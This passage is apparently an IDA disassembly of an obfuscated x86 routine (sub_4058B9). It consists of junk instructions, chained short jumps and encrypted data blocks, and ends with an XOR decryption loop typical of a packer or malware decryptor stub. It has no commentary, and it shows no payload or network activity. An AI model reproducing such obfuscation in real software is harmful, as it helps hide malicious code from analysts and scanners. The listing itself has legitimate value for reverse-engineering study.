		dd 0A766C1A8h, 43F2FD54h, 9F3EF9C0h, 0BB4AB5ECh, 971631D8h
		db 84h
; ---------------------------------------------------------------------------


loc_405D99:				; CODE XREF: sub_4058B9:loc_405D6Aj
		ror	ax, 6Ah
		push	edx
		push	ebx
		shr	edx, 0F6h
		cld
		pop	ebx
		pop	edx
		ror	al, 16h
		jmp	short loc_405DD5
; ---------------------------------------------------------------------------
		dw 8ABh
		db 0A1h
; ---------------------------------------------------------------------------


loc_405DAD:				; CODE XREF: sub_4058B9:loc_405DD5j
		jmp	short loc_405DE8
; ---------------------------------------------------------------------------
		db 0C6h
		dd 52DDB487h, 9ED92023h, 0AA954C7Fh, 7611389Bh,	24DE477h
		db 13h
; ---------------------------------------------------------------------------


loc_405DC5:				; CODE XREF: sub_4058B9+4B9j
		push	eax
		dec	ecx
		dec	esi
		outsd
		jl	short near ptr loc_405DCF+1
		pop	edx
		mov	ebp, [eax-7Fh]


loc_405DCF:				; CODE XREF: sub_4058B9+510j
		db	26h, 67h
		adc	al, 0BDh
		mov	dl, 3


loc_405DD5:				; CODE XREF: sub_4058B9+4EFj
		jmp	short loc_405DAD
; ---------------------------------------------------------------------------
		db 80h
		db 0B9h, 0FEh
; ---------------------------------------------------------------------------


loc_405DDA:				; CODE XREF: sub_4058B9:loc_405DE8j
		jmp	short loc_405E0B
; ---------------------------------------------------------------------------
		dd 0A75AC5Fh, 0D6F1987Bh, 622D4457h
; ---------------------------------------------------------------------------


loc_405DE8:				; CODE XREF: sub_4058B9:loc_405DADj
		jmp	short loc_405DDA
; ---------------------------------------------------------------------------
		dw 0B0F3h
		db 29h,	0AEh, 4Fh
; ---------------------------------------------------------------------------


loc_405DEF:				; CODE XREF: sub_4058B9:loc_405E0Bj
		jmp	short loc_405E1B
; ---------------------------------------------------------------------------
		db 0DCh, 0E5h, 0BAh
		dd 8661C86Bh, 129D7447h, 5E99E0E3h, 6A550C3Fh, 36D1F85Bh
		db 37h,	0A4h, 0Dh
; ---------------------------------------------------------------------------


loc_405E0B:				; CODE XREF: sub_4058B9:loc_405DDAj
		jmp	short loc_405DEF
; ---------------------------------------------------------------------------
		db 0C2h, 0D3h, 10h
		dd 3C2F0E09h, 284B1AC5h
		db 41h,	0E6h, 27h
; ---------------------------------------------------------------------------


loc_405E1B:				; CODE XREF: sub_4058B9:loc_405DEFj
		xor	ax, 8B9Dh
		push	edx
		push	ecx
		cmp	edx, edx
		ror	edx, 38h
		xchg	ecx, ecx
		xor	ecx, edi
		jmp	loc_405E30
; ---------------------------------------------------------------------------
		inc	edx


loc_405E30:				; CODE XREF: sub_4058B9+571j
		push	eax
		pop	edx
		cmp	bl, ah
		cld
		pop	ecx
		pop	edx
		sub	eax, 2FA22262h
		jmp	short loc_405E69
; ---------------------------------------------------------------------------
		dw 1FBEh
		db 6Ch
; ---------------------------------------------------------------------------


loc_405E41:				; CODE XREF: sub_4058B9:loc_405E69j
		jmp	short loc_405E7C
; ---------------------------------------------------------------------------
		db 35h
		dd 0B1583BCAh, 0ED041796h, 0E970B322h, 0A59C0F6Eh, 21882B7Ah
		dd 5D340746h, 59A0A3D2h, 15CCFF1Eh, 91B81B2Ah
		db 0F6h
; ---------------------------------------------------------------------------


loc_405E69:				; CODE XREF: sub_4058B9+583j
		jmp	short loc_405E41
; ---------------------------------------------------------------------------
		db 0F7h
		dd 9382CD64h, 0EFCEC9D0h, 0BDA85FCh, 0E7A601E8h
; ---------------------------------------------------------------------------


loc_405E7C:				; CODE XREF: sub_4058B9:loc_405E41j
		sub	eax, 0EF9BA4A7h
		push	esi
		push	eax
		test	ecx, eax
		not	eax
		rep mov	esi, 810BDAh
		test	eax, ebp
		neg	esi
		inc	esi
		cld
		pop	eax
		pop	esi
		sub	eax, 0AA1A3228h
		jmp	short loc_405EC6
; ---------------------------------------------------------------------------
		fild	qword ptr ds:7118FB8Ah[esi*8]


loc_405EA3:				; CODE XREF: sub_4058B9:loc_405EC6j
		jmp	short loc_405ED7
; ---------------------------------------------------------------------------
		db 56h,	0D7h, 0C4h
		dd 3073E2ADh, 5CCF2EA9h, 48EB3A65h, 0F4C706E1h,	6063921Dh
		dd 8CBFDE19h, 78DBEAD5h
		db 51h,	0B6h
; ---------------------------------------------------------------------------


loc_405EC6:				; CODE XREF: sub_4058B9+5E1j
		jmp	short loc_405EA3
; ---------------------------------------------------------------------------
		mov	bh, 24h
		lea	eax, [edx+53h]
		nop


loc_405ECE:				; CODE XREF: sub_4058B9:loc_405ED7j
		jmp	short loc_405EFE
; ---------------------------------------------------------------------------
		mov	[esi-65BA4351h], ecx
		retf
; ---------------------------------------------------------------------------


loc_405ED7:				; CODE XREF: sub_4058B9:loc_405EA3j
		jmp	short loc_405ECE
; ---------------------------------------------------------------------------
		db 0A8h, 0C1h, 66h
		dd 0F2FD54A7h, 3EF9C043h, 4AB5EC9Fh, 1631D8BBh,	0A26D8497h
		dd 0EE69F033h, 0FA251C8Fh, 0C6A108ABh
		db 87h,	0B4h
; ---------------------------------------------------------------------------


loc_405EFE:				; CODE XREF: sub_4058B9:loc_405ECEj
		ror	eax, 0A0h
		jmp	short loc_405F30
; ---------------------------------------------------------------------------
		sahf
		jg	short loc_405F52


loc_405F06:				; CODE XREF: sub_4058B9:loc_405F30j
		jmp	short loc_405F45
; ---------------------------------------------------------------------------
		dd 389BAA95h, 0E4777611h, 5013024Dh, 7C6F4E49h,	688B5A05h
		dd 14672681h, 8003B2BDh, 0AC5FFEB9h, 987B0A75h,	4457D6F1h
; ---------------------------------------------------------------------------


loc_405F30:				; CODE XREF: sub_4058B9+648j
		jmp	short loc_405F06
; ---------------------------------------------------------------------------
		dw 622Dh
		db 0F3h
; ---------------------------------------------------------------------------


loc_405F35:				; CODE XREF: sub_4058B9:loc_405F45j
		jmp	short loc_405F60
; ---------------------------------------------------------------------------
		db 0B0h
; ---------------------------------------------------------------------------
		sub	[esi-451A23B1h], ebp
		imul	ecx, eax, 61h
		xchg	al, [edi+74h]
		popf


loc_405F45:				; CODE XREF: sub_4058B9:loc_405F06j
		jmp	short loc_405F35
; ---------------------------------------------------------------------------
		db 12h
		dd 5E99E0E3h, 6A550C3Fh
		db 5Bh,	0F8h
; ---------------------------------------------------------------------------


loc_405F52:				; CODE XREF: sub_4058B9+64Bj
		sal	dword ptr [esi], 1
		aaa
		movsb
		or	eax, 910D3C2h
		push	cs
		das
		cmp	al, 0C5h
; ---------------------------------------------------------------------------
		db 1Ah
; ---------------------------------------------------------------------------


loc_405F60:				; CODE XREF: sub_4058B9:loc_405F35j
		ror	eax, 33h
		push	edi
		push	eax
		mov	eax, 83119Ah
		cmp	edi, esi
		and	eax, 80A2DAh
		neg	eax
		cld
		pop	eax
		pop	edi
		ror	ax, 0B6h
		jmp	short loc_405FAB
; ---------------------------------------------------------------------------
		db 40h,	79h, 0BEh
		dd 0CA356C1Fh
; ---------------------------------------------------------------------------


loc_405F84:				; CODE XREF: sub_4058B9:loc_405FABj
		jmp	short loc_405FBB
; ---------------------------------------------------------------------------
		cmp	ebx, [eax-4Fh]
		xchg	eax, esi
		pop	ss
		add	al, 0EDh
		and	dh, [ebx+0F6EE970h]
		pushf
		movsd
		jp	short loc_405FC2
		mov	[ecx], ah
		inc	esi
		pop	es
		xor	al, 5Dh
		shl	byte ptr [ebx-0E1A660h], cl
		int	3		; Trap to Debugger
		adc	eax, 91B81B2Ah	; CODE XREF: sub_4058B9+70Ej
		div	bh


loc_405FAB:				; CODE XREF: sub_4058B9+6C2j
		jmp	short loc_405F84
; ---------------------------------------------------------------------------
		db 64h,	0CDh, 82h
; ---------------------------------------------------------------------------
		xchg	eax, ebx


loc_405FB1:				; CODE XREF: sub_4058B9:loc_405FBBj
		jmp	short loc_405FDE
; ---------------------------------------------------------------------------
		db 0D0h
		dd 0FCEFCEC9h
		db 85h,	0DAh, 0Bh
; ---------------------------------------------------------------------------


loc_405FBB:				; CODE XREF: sub_4058B9:loc_405F84j
		jmp	short loc_405FB1
; ---------------------------------------------------------------------------
		db 0E8h, 1, 0A6h
		db 0E7h, 94h
; ---------------------------------------------------------------------------


loc_405FC2:				; CODE XREF: sub_4058B9+6DCj
		cmp	eax, 39008332h
		jle	short near ptr loc_405FA4+4
		sub	al, 0F5h
		mov	bh, bl
		sbb	[ecx+56h], dh
		xlat
		les	ebp, [ebp-56CF8C1Eh]
		db	2Eh
		iret
; ---------------------------------------------------------------------------
		db 5Ch,	65h, 3Ah
; ---------------------------------------------------------------------------
		jmp	short loc_406026
; ---------------------------------------------------------------------------


loc_405FDE:				; CODE XREF: sub_4058B9:loc_405FB1j
		ror	ax, 65h
		push	eax
		push	edi
		test	eax, eax
		shl	edi, 0F7h
		mov	eax, 80E15Ah
		xor	edi, esp
		sbb	eax, 80A85Ah
		xor	eax, edx
		not	eax
		stc
		cld
		pop	edi
		pop	eax
		sub	eax, 0A3E8EC54h
		jmp	short loc_406034
; ---------------------------------------------------------------------------
		pusha
		sbb	esi, ebx


loc_406008:				; CODE XREF: sub_4058B9:loc_406034j
		jmp	short loc_40604D
; ---------------------------------------------------------------------------
		mov	edi, 0DBEAD58Ch
		js	short loc_406062
		mov	dh, 0B7h
		and	al, 8Dh
		inc	edx
		push	ebx
		nop
		mov	[esi-65BA4351h], ecx
		retf
; ---------------------------------------------------------------------------
		db 0A8h
		dd 54A766C1h
		db 0FDh, 0F2h
; ---------------------------------------------------------------------------


loc_406026:				; CODE XREF: sub_4058B9+723j
		inc	ebx
		sar	cl, 3Eh
		lahf
		in	al, dx
		mov	ch, 4Ah
		mov	ebx, 971631D8h
; ---------------------------------------------------------------------------
		db 84h
; ---------------------------------------------------------------------------


loc_406034:				; CODE XREF: sub_4058B9+74Aj
		jmp	short loc_406008
; ---------------------------------------------------------------------------
		dw 0A26Dh
		db 33h,	0F0h, 69h
; ---------------------------------------------------------------------------


loc_40603B:				; CODE XREF: sub_4058B9:loc_40604Dj
		jmp	short loc_406068
; ---------------------------------------------------------------------------
		db 0EEh, 8Fh, 1Ch
		dd 8ABFA25h, 0B487C6A1h, 202352DDh
		db 0D9h
; ---------------------------------------------------------------------------


loc_40604D:				; CODE XREF: sub_4058B9:loc_406008j
		jmp	short loc_40603B
; ---------------------------------------------------------------------------
		db 9Eh
		dd 0AA954C7Fh, 7611389Bh, 24DE477h, 4E495013h
		db 6Fh,	7Ch
; ---------------------------------------------------------------------------


loc_406062:				; CODE XREF: sub_4058B9+756j
		add	eax, 81688B5Ah
; ---------------------------------------------------------------------------
		db 26h
; ---------------------------------------------------------------------------


loc_406068:				; CODE XREF: sub_4058B9:loc_40603Bj
		ror	al, 0F2h
		jmp	short loc_40609C
; ---------------------------------------------------------------------------
		db 0FEh, 5Fh, 0ACh
		dd 987B0A75h, 4457D6F1h, 0B0F3622Dh, 0DC4FAE29h, 0C86BBAE5h
		dd 74478661h
; ---------------------------------------------------------------------------


loc_406088:				; CODE XREF: sub_4058B9:loc_40609Cj
		jmp	short loc_4060B7
; ---------------------------------------------------------------------------
		dw 129Dh
		dd 5E99E0E3h, 6A550C3Fh, 36D1F85Bh, 0C20DA437h
; ---------------------------------------------------------------------------


loc_40609C:				; CODE XREF: sub_4058B9+7B2j
		jmp	short loc_406088
; ---------------------------------------------------------------------------
		rcl	dword ptr [eax], cl
		or	[esi], ecx
		das
		cmp	al, 0C5h


loc_4060A5:				; CODE XREF: sub_4058B9:loc_4060B7j
		jmp	short loc_4060D5
; ---------------------------------------------------------------------------
		db 1Ah
		dd 0E641284Bh, 727DD427h, 0BE7940C3h
		db 1Fh,	6Ch, 35h
; ---------------------------------------------------------------------------


loc_4060B7:				; CODE XREF: sub_4058B9:loc_406088j
		jmp	short loc_4060A5
; ---------------------------------------------------------------------------
		db 0CAh, 3Bh, 58h
		db 0B1h
; ---------------------------------------------------------------------------


loc_4060BD:				; CODE XREF: sub_4058B9:loc_4060D5j
		jmp	short loc_4060E8
; ---------------------------------------------------------------------------
		db 96h
		dd 22ED0417h, 6EE970B3h, 7AA59C0Fh, 4621882Bh, 0D25D3407h
		db 0A3h
; ---------------------------------------------------------------------------


loc_4060D5:				; CODE XREF: sub_4058B9:loc_4060A5j
		jmp	short loc_4060BD
; ---------------------------------------------------------------------------
		db 0A0h
		dd 0CCFF1E59h, 0B81B2A15h, 64F7F691h, 0D09382CDh
; ---------------------------------------------------------------------------


loc_4060E8:				; CODE XREF: sub_4058B9:loc_4060BDj
		xor	ax, 259Fh
		push	edi
		push	esi
		cmp	bh, al
		inc	esi
		cld
		pop	esi
		pop	edi
		sub	eax, 0C2DE176Dh
		jmp	short loc_40612A
; ---------------------------------------------------------------------------
		db 0DAh
; ---------------------------------------------------------------------------
		or	ebp, eax


loc_4060FE:				; CODE XREF: sub_4058B9:loc_40612Aj
		jmp	short loc_40613D
; ---------------------------------------------------------------------------
		dd 94E7A601h, 83323Dh, 2CDF7E39h, 18FB8AF5h, 0C4D75671h
		dd 3073E2ADh, 5CCF2EA9h, 48EB3A65h, 0F4C706E1h,	6063921Dh
; ---------------------------------------------------------------------------
		sbb	esi, ebx


loc_40612A:				; CODE XREF: sub_4058B9+840j
		jmp	short loc_4060FE
; ---------------------------------------------------------------------------
		dd 0EAD58CBFh, 0B65178DBh, 428D24B7h, 8E899053h
; ---------------------------------------------------------------------------
		scasd


loc_40613D:				; CODE XREF: sub_4058B9:loc_4060FEj
		sub	eax, 3EEA9396h
		jmp	short loc_406170
; ---------------------------------------------------------------------------
		dd 0FD54A766h
		db 0F2h, 43h, 0C0h
; ---------------------------------------------------------------------------


loc_40614B:				; CODE XREF: sub_4058B9:loc_406170j
		jmp	short loc_406180
; ---------------------------------------------------------------------------
		db 0F9h, 3Eh, 9Fh
		dd 0BB4AB5ECh, 971631D8h, 33A26D84h, 8FEE69F0h,	0ABFA251Ch
		dd 87C6A108h, 2352DDB4h, 7F9ED920h
; ---------------------------------------------------------------------------


loc_406170:				; CODE XREF: sub_4058B9+889j
		jmp	short loc_40614B
; ---------------------------------------------------------------------------
		dw 954Ch
; ---------------------------------------------------------------------------
		stosb
		wait
		cmp	[ecx], dl


loc_406178:				; CODE XREF: sub_4058B9:loc_406180j
		jmp	short loc_4061A3
; ---------------------------------------------------------------------------
		dw 7776h
		dd 13024DE4h
; ---------------------------------------------------------------------------


loc_406180:				; CODE XREF: sub_4058B9:loc_40614Bj
		jmp	short loc_406178
; ---------------------------------------------------------------------------
		dw 4950h
		dd 57C6F4Eh, 81688B5Ah,	0BD146726h, 0B98003B2h,	75AC5FFEh
		dd 0F1987B0Ah, 2D4457D6h
		db 62h,	0F3h, 0B0h
; ---------------------------------------------------------------------------


loc_4061A3:				; CODE XREF: sub_4058B9:loc_406178j
		xor	al, 0DAh
		jmp	short loc_4061D0
; ---------------------------------------------------------------------------
		db 0DCh
		db 0E5h, 0BAh
; ---------------------------------------------------------------------------


loc_4061AA:				; CODE XREF: sub_4058B9:loc_4061D0j
		jmp	short loc_4061E3
; ---------------------------------------------------------------------------
		dd 8661C86Bh, 129D7447h, 5E99E0E3h, 6A550C3Fh, 36D1F85Bh
		dd 0C20DA437h, 0E0910D3h, 1AC53C2Fh, 0E641284Bh
; ---------------------------------------------------------------------------


loc_4061D0:				; CODE XREF: sub_4058B9+8ECj
		jmp	short loc_4061AA
; ---------------------------------------------------------------------------
		dw 0D427h
; ---------------------------------------------------------------------------
		jge	short loc_406248
		retn
; ---------------------------------------------------------------------------
		db 40h
		dd 6C1FBE79h, 583BCA35h
; ---------------------------------------------------------------------------
		mov	cl, 96h
		pop	ss


loc_4061E3:				; CODE XREF: sub_4058B9:loc_4061AAj
		sub	eax, 88848388h
		jmp	short loc_406217
; ---------------------------------------------------------------------------
		setl	byte ptr [ebp+21882B7Ah]
		inc	esi
		pop	es
		xor	al, 5Dh


loc_4061F5:				; CODE XREF: sub_4058B9:loc_406217j
		jmp	short loc_406227
; ---------------------------------------------------------------------------
		db 0D2h
		dd 1E59A0A3h, 2A15CCFFh, 0F691B81Bh, 82CD64F7h,	0CEC9D093h
		dd 0DA85FCEFh, 0A601E80Bh
		db 0E7h, 94h, 3Dh
; ---------------------------------------------------------------------------


loc_406217:				; CODE XREF: sub_4058B9+92Fj
		jmp	short loc_4061F5
; ---------------------------------------------------------------------------
		db 32h,	83h, 0
		db 39h,	7Eh
; ---------------------------------------------------------------------------


loc_40621E:				; CODE XREF: sub_4058B9:loc_406227j
		jmp	short loc_40624E
; ---------------------------------------------------------------------------
		fild	qword ptr ds:7118FB8Ah[esi*8]


loc_406227:				; CODE XREF: sub_4058B9:loc_4061F5j
		jmp	short loc_40621E
; ---------------------------------------------------------------------------
		db 56h,	0D7h, 0C4h
		dd 3073E2ADh, 5CCF2EA9h, 48EB3A65h, 0F4C706E1h,	6063921Dh
		dd 8CBFDE19h, 78DBEAD5h
; ---------------------------------------------------------------------------


loc_406248:				; CODE XREF: sub_4058B9+91Bj
		push	ecx
		mov	dh, 0B7h
		and	al, 8Dh
		inc	edx


loc_40624E:				; CODE XREF: sub_4058B9:loc_40621Ej
		sub	eax, 0B2E418Bh
		jmp	short loc_406280
; ---------------------------------------------------------------------------
		db 0BCh, 45h, 9Ah
; ---------------------------------------------------------------------------


loc_406258:				; CODE XREF: sub_4058B9:loc_406280j
		jmp	short loc_406293
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		db 0A8h
		dd 54A766C1h, 0C043F2FDh, 0EC9F3EF9h, 0D8BB4AB5h, 84971631h
		dd 0F033A26Dh, 1C8FEE69h, 8ABFA25h, 0B487C6A1h
; ---------------------------------------------------------------------------


loc_406280:				; CODE XREF: sub_4058B9+99Aj
		jmp	short loc_406258
; ---------------------------------------------------------------------------
		fst	qword ptr [edx+23h]


loc_406285:				; CODE XREF: sub_4058B9:loc_406293j
		jmp	short loc_4062B6
; ---------------------------------------------------------------------------
		and	cl, bl
		sahf
		jg	short loc_4062D8
		xchg	eax, ebp
		stosb
		wait
		cmp	[ecx], dl
		jbe	short loc_40630A


loc_406293:				; CODE XREF: sub_4058B9:loc_406258j
		jmp	short loc_406285
; ---------------------------------------------------------------------------
		db 0E4h, 4Dh, 2
		dd 4E495013h, 5A057C6Fh, 2681688Bh, 0B2BD1467h,	0FEB98003h
		dd 0A75AC5Fh, 0D6F1987Bh
; ---------------------------------------------------------------------------
		push	edi
		inc	esp


loc_4062B6:				; CODE XREF: sub_4058B9:loc_406285j
		ror	eax, 29h
		jmp	short loc_4062E8
; ---------------------------------------------------------------------------
		db 0DCh
		db 0E5h, 0BAh
; ---------------------------------------------------------------------------


loc_4062BE:				; CODE XREF: sub_4058B9:loc_4062E8j
		jmp	short loc_4062FB
; ---------------------------------------------------------------------------
		dd 8661C86Bh, 129D7447h, 5E99E0E3h, 6A550C3Fh, 36D1F85Bh
		dd 0C20DA437h
; ---------------------------------------------------------------------------


loc_4062D8:				; CODE XREF: sub_4058B9+9D1j
		rcl	dword ptr [eax], cl
		or	[esi], ecx
		das
		cmp	al, 0C5h
		sbb	cl, [ebx+28h]
		inc	ecx
		out	27h, al
		aam	7Dh
; ---------------------------------------------------------------------------
		db 72h
; ---------------------------------------------------------------------------


loc_4062E8:				; CODE XREF: sub_4058B9+A00j
		jmp	short loc_4062BE
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------


loc_4062EB:				; CODE XREF: sub_4058B9:loc_4062FBj
		jmp	short loc_406316
; ---------------------------------------------------------------------------
		db 40h,	79h, 0BEh
		dd 0CA356C1Fh, 96B1583Bh
; ---------------------------------------------------------------------------
		pop	ss
		add	al, 0EDh


loc_4062FB:				; CODE XREF: sub_4058B9:loc_4062BEj
		jmp	short loc_4062EB
; ---------------------------------------------------------------------------
		db 22h,	0B3h, 70h
; ---------------------------------------------------------------------------


loc_406300:				; CODE XREF: sub_4058B9:loc_406316j
		jmp	short loc_406331
; ---------------------------------------------------------------------------
		dw 6EE9h
		dd 7AA59C0Fh
		db 2Bh,	88h
; ---------------------------------------------------------------------------


loc_40630A:				; CODE XREF: sub_4058B9+9D8j
		and	[esi+7], eax
		xor	al, 5Dh
		shl	byte ptr [ebx-0E1A660h], cl
		int	3		; Trap to Debugger


loc_406316:				; CODE XREF: sub_4058B9:loc_4062EBj
		jmp	short loc_406300
; ---------------------------------------------------------------------------
		dd 0B81B2A15h, 64F7F691h, 0D09382CDh, 0FCEFCEC9h, 0E80BDA85h
		dd 94E7A601h
		db 3Dh
; ---------------------------------------------------------------------------


loc_406331:				; CODE XREF: sub_4058B9:loc_406300j
		xor	ax, 0CFBDh
		push	ecx
		push	ebx
		rcl	ecx, 8
		rol	ebx, 51h
		cmp	al, 0C4h
		inc	ebx
		mov	bx, 4A52h
		dec	ecx
		inc	ecx
		cld
		pop	ebx
		pop	ecx
		sub	eax, 75AE6DECh
		push	edx
		push	ebx
		xor	ebx, edx
		neg	edx
		push	ebx
		pop	ebx
		mov	edx, ecx
		xor	edx, 80B05Ah
		test	cl, dl
		ror	edx, 0F5h
		xor	ebx, esi
		test	cl, al
		cld
		pop	ebx
		pop	edx
		sub	eax, 9218D5EAh
		push	eax
		push	ecx
		neg	ecx
		cmp	al, 0DCh
		mov	ax, 490Ch
		xchg	ecx, eax
		push	esi
		pop	eax
		xor	ecx, edx
		not	eax
		push	eax
		pop	ecx
		nop
		cld
		pop	ecx
		pop	eax
		sub	eax, 9F97DBBAh
		push	ebx
		push	esi
		cmp	al, 0E2h
		mov	bx, 4949h
		push	edi
		pop	ebx
		cmp	edi, eax
		cmp	ebx, 80B39Ah
		test	ecx, esp
		xor	esi, ebx
		xor	esi, esp
		inc	esi
		cld
		pop	esi
		pop	ebx
		sub	eax, 9B5CFB22h
		jmp	short loc_4063D9
; ---------------------------------------------------------------------------
		db 0C4h
		dd 3073E2ADh
		db 0A9h, 2Eh
; ---------------------------------------------------------------------------


loc_4063B6:				; CODE XREF: sub_4058B9:loc_4063D9j
		jmp	short loc_4063E9
; ---------------------------------------------------------------------------
		dd 3A655CCFh, 6E148EBh,	921DF4C7h, 0DE196063h, 0EAD58CBFh
		dd 0B65178DBh, 428D24B7h, 8E899053h
; ---------------------------------------------------------------------------
		scasd


loc_4063D9:				; CODE XREF: sub_4058B9+AF4j
		jmp	short loc_4063B6
; ---------------------------------------------------------------------------


loc_4063DB:				; CODE XREF: sub_4058B9:loc_4063E9j
		jmp	short loc_40640C
; ---------------------------------------------------------------------------
		db 0BCh, 45h, 9Ah
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		db 0A8h, 0C1h, 66h
		dd 0F2FD54A7h
; ---------------------------------------------------------------------------
		inc	ebx


loc_4063E9:				; CODE XREF: sub_4058B9:loc_4063B6j
		jmp	short loc_4063DB
; ---------------------------------------------------------------------------
		db 0C0h
		dd 0EC9F3EF9h, 0D8BB4AB5h, 84971631h, 0F033A26Dh, 1C8FEE69h
		dd 8ABFA25h, 0B487C6A1h, 202352DDh
; ---------------------------------------------------------------------------


loc_40640C:				; CODE XREF: sub_4058B9:loc_4063DBj
		ror	eax, 0FBh
		push	ecx
		push	edi


loc_406411:				; CODE XREF: sub_4058B9+BB9j
					; sub_4058B9+BBDj
		test	ecx, ebx
		nop
		cld
		pop	edi
		pop	ecx
		ror	ax, 83h
		push	ecx
		push	edx
		xor	ecx, esp
		mov	cx, 4908h
		rol	ecx, 3Ch
		xchg	edx, ecx
		push	ebx
		pop	edx
		xor	ecx, ebp
		neg	edx
		dec	ecx
		inc	ecx
		cld
		pop	edx
		pop	ecx
		sub	eax, 0A17A141Eh
		push	ecx
		push	esi
		xchg	ecx, esi
		stc
		cld
		pop	esi
		pop	ecx
		ror	eax, 2Ah
		jmp	short loc_406470
; ---------------------------------------------------------------------------
		db 6Fh,	7Ch, 5
; ---------------------------------------------------------------------------


loc_406448:				; CODE XREF: sub_4058B9:loc_406470j
		jmp	short loc_406480
; ---------------------------------------------------------------------------
		dw 8B5Ah
		dd 67268168h, 3B2BD14h,	5FFEB980h, 7B0A75ACh, 57D6F198h
		dd 0F3622D44h, 4FAE29B0h, 6BBAE5DCh, 478661C8h
; ---------------------------------------------------------------------------


loc_406470:				; CODE XREF: sub_4058B9+B8Aj
		jmp	short loc_406448
; ---------------------------------------------------------------------------
		jz	short loc_406411
		adc	ah, bl
		loopne	loc_406411
		pop	esi


loc_406479:				; CODE XREF: sub_4058B9:loc_406480j
		jmp	short loc_4064A7
; ---------------------------------------------------------------------------
		aas
		or	al, 55h
		push	5Bh


loc_406480:				; CODE XREF: sub_4058B9:loc_406448j
		jmp	short loc_406479
; ---------------------------------------------------------------------------


loc_406482:				; CODE XREF: sub_4058B9:loc_4064A7j
		jmp	short loc_4064BA
; ---------------------------------------------------------------------------
		dd 3736D1F8h, 0D3C20DA4h, 2F0E0910h, 4B1AC53Ch,	27E64128h
		dd 0C3727DD4h, 1FBE7940h, 3BCA356Ch
; ---------------------------------------------------------------------------
		pop	eax
		mov	cl, 96h


loc_4064A7:				; CODE XREF: sub_4058B9:loc_406479j
		jmp	short loc_406482
; ---------------------------------------------------------------------------
		pop	ss
		add	al, 0EDh
		and	dh, [ebx+0F6EE970h]
		pushf
		movsd
		jp	short loc_4064E1
		mov	[ecx], ah
		inc	esi
		pop	es


loc_4064BA:				; CODE XREF: sub_4058B9:loc_406482j
		ror	ax, 6Bh
		push	edx
		push	ebx
		inc	ebx
		xchg	ebx, edx
		cmp	edx, edi
		cmp	bl, bh
		cld
		pop	ebx
		pop	edx
		xor	ax, 0A220h
		push	edx
		push	edi
		test	eax, edi
		mov	di, 490Dh
		mov	di, 4A3Dh
		push	eax
		pop	edx
		not	edi
		xchg	edx, edx
		push	esi


loc_4064E1:				; CODE XREF: sub_4058B9+BFBj
		pop	edx
		inc	edx
		cld
		pop	edi
		pop	edx
		xor	[ecx+edi], eax
		jmp	short loc_40651B
; ---------------------------------------------------------------------------
		adc	eax, 91B81B2Ah
		div	bh


loc_4064F2:				; CODE XREF: sub_4058B9:loc_40651Bj
		jmp	short loc_40652D
; ---------------------------------------------------------------------------
		dd 9382CD64h, 0EFCEC9D0h, 0BDA85FCh, 0E7A601E8h, 83323D94h
		dd 0DF7E3900h, 0FB8AF52Ch, 0D7567118h, 73E2ADC4h
		db 30h,	0A9h, 2Eh
; ---------------------------------------------------------------------------


loc_40651B:				; CODE XREF: sub_4058B9+C30j
		jmp	short loc_4064F2
; ---------------------------------------------------------------------------
		db 0CFh
; ---------------------------------------------------------------------------


loc_40651E:				; CODE XREF: sub_4058B9:loc_40652Dj
		jmp	short loc_40654C
; ---------------------------------------------------------------------------
		dd 0EB3A655Ch, 0C706E148h, 63921DF4h
; ---------------------------------------------------------------------------
		pusha


loc_40652D:				; CODE XREF: sub_4058B9:loc_4064F2j
		jmp	short loc_40651E
; ---------------------------------------------------------------------------
		sbb	esi, ebx
		mov	edi, 0DBEAD58Ch
		js	short loc_406589
		mov	dh, 0B7h
		and	al, 8Dh
		inc	edx
		push	ebx
		nop
		mov	[esi-65BA4351h], ecx
		retf
; ---------------------------------------------------------------------------
		test	al, 0C1h
		cmpsw
		push	esp
		std


loc_40654C:				; CODE XREF: sub_4058B9:loc_40651Ej
		dec	ecx
		jnz	loc_405B0A
		push	eax
		push	edx
		mov	edx, edi
		test	ecx, eax
		xor	edx, ebx
		jbe	short loc_406563
		repne xor edx, ebx
		test	al, bh
		inc	eax


loc_406563:				; CODE XREF: sub_4058B9+CA2j
		xchg	eax, edx
		mov	eax, 809C1Ah
		cmp	cl, ah
		cld
		pop	edx
		pop	eax
		pop	ecx
		jmp	short loc_4065A2
; ---------------------------------------------------------------------------
		dw 0EC9Fh
		dd 0D8BB4AB5h
		db 31h
; ---------------------------------------------------------------------------


loc_406579:				; CODE XREF: sub_4058B9:loc_4065A2j
		jmp	short loc_4065B9
; ---------------------------------------------------------------------------
		push	ss
		xchg	eax, edi
		test	[ebp-5Eh], ch
		xor	esi, eax
		imul	ebp, esi, 0FA251C8Fh
		stosd


loc_406589:				; CODE XREF: sub_4058B9+C7Dj
		or	[ecx-224B783Ah], ah
		push	edx
		and	esp, [eax]
		fstp	dword ptr [esi-556AB381h]
		wait
		cmp	[ecx], dl
		jbe	short loc_406614
		in	al, 4Dh
		add	dl, [ebx]
		push	eax


loc_4065A2:				; CODE XREF: sub_4058B9+CB7j
		jmp	short loc_406579
; ---------------------------------------------------------------------------
		dd 7C6F4E49h, 688B5A05h, 14672681h, 8003B2BDh, 0AC5FFEB9h
		db 75h
; ---------------------------------------------------------------------------


loc_4065B9:				; CODE XREF: sub_4058B9:loc_406579j
		pop	edi
		jmp	short loc_4065E7
; ---------------------------------------------------------------------------
		db 62h,	0F3h, 0B0h
; ---------------------------------------------------------------------------


loc_4065BF:				; CODE XREF: sub_4058B9:loc_4065E7j
		jmp	short loc_4065FA
; ---------------------------------------------------------------------------
		db 29h,	0AEh, 4Fh
		dd 6BBAE5DCh, 478661C8h, 0E3129D74h, 3F5E99E0h,	5B6A550Ch
		dd 3736D1F8h, 0D3C20DA4h, 2F0E0910h
		db 3Ch,	0C5h, 1Ah
; ---------------------------------------------------------------------------


loc_4065E7:				; CODE XREF: sub_4058B9+D01j
		jmp	short loc_4065BF
; ---------------------------------------------------------------------------
		db 4Bh,	28h, 41h
; ---------------------------------------------------------------------------


loc_4065EC:				; CODE XREF: sub_4058B9:loc_4065FAj
		jmp	short loc_40661D
; ---------------------------------------------------------------------------
		dw 27E6h
		dd 0C3727DD4h, 1FBE7940h
		db 6Ch,	35h
; ---------------------------------------------------------------------------


loc_4065FA:				; CODE XREF: sub_4058B9:loc_4065BFj
		jmp	short loc_4065EC
; ---------------------------------------------------------------------------
		dd 0B1583BCAh
; ---------------------------------------------------------------------------
		xchg	eax, esi


